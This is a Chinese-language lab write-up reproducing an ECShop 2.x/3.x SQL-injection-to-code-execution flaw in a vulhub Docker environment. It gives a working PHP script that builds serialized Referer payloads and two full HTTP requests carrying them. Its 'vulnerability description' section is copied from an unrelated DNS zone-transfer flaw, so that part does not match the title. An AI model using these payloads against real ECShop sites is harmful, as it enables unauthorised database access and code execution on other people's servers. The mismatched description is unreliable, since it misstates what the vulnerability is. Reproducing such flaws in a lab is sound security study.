ECShop 2.x3.x SQL注入任意代码执行漏洞

声明

好好学习，天天向上

漏洞描述

DNS协议支持使用axfr类型的记录进行区域传送，用来解决主从同步的问题。如果管理员在配置DNS服务器的时候没有限制允许获取记录的来源，将会导致DNS域传送漏洞。

影响范围

ECShop 2.x

ECShop 3.x

复现过程

这里使用2.7.3与3.6.0版本

使用vulhub

/app/vulhub-master/ecshop/xianzhi-2017-02-82239600

使用docker启动

docker-compose build
docker-compose up -d

环境启动后，访问

http://192.168.239.129:8080
http://192.168.239.129:8081

2.7.3的安装页面

3.6.0的安装页面

依次安装二者，mysql地址填写mysql，mysql账户与密码均为root，数据库名随意填写，但2.7.3与3.6.0的数据库名不能相同。

POC如下，将其放在phpstudy或者其他web站点下，访问即可得到2.x和3.x的POC，POC主要用于替换referer字段的

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";

抓包

GET /user.php?act=login HTTP/1.1
Host: 192.168.239.129:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: CFID=1; CFTOKEN=425afb9d255c4aab-544A55E0-EE35-CB65-8EB9BD40F9E2FCF8; CFAUTHORIZATION_cfadmin="YWRtaW4NY2ZhZG1pbg0xNjA4MTc3MTcxMzkyDUZENkZEMzFCRDExN0E0OTM="; CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; JSESSIONID=ED6075ACE275F56BB40F6B97FE442899.cfusion; PHPSESSID=12bae515807040abbd823444e1a94f07; ECS_ID=f0c69522e02d5a607faa9f66031eef80e2fc3fc6; ECS[visit_times]=2
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

GET /user.php?act=login HTTP/1.1
Host: 192.168.239.129:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: CFID=1; CFTOKEN=425afb9d255c4aab-544A55E0-EE35-CB65-8EB9BD40F9E2FCF8; CFAUTHORIZATION_cfadmin="YWRtaW4NY2ZhZG1pbg0xNjA4MTc3MTcxMzkyDUZENkZEMzFCRDExN0E0OTM="; CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; JSESSIONID=ED6075ACE275F56BB40F6B97FE442899.cfusion; PHPSESSID=12bae515807040abbd823444e1a94f07; ECS_ID=f0c69522e02d5a607faa9f66031eef80e2fc3fc6; ECS[visit_times]=2
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

关闭镜像（每次用完后关闭）

docker-compose down

docker-compose常用命令

拉镜像（进入到vulhub某个具体目录后）

docker-compose build
docker-compose up -d

镜像查询（查到的第一列就是ID值）

docker ps -a

进入指定镜像里面（根据上一条查出的ID进入）

docker exec -it ID /bin/bash

关闭镜像（每次用完后关闭）

docker-compose down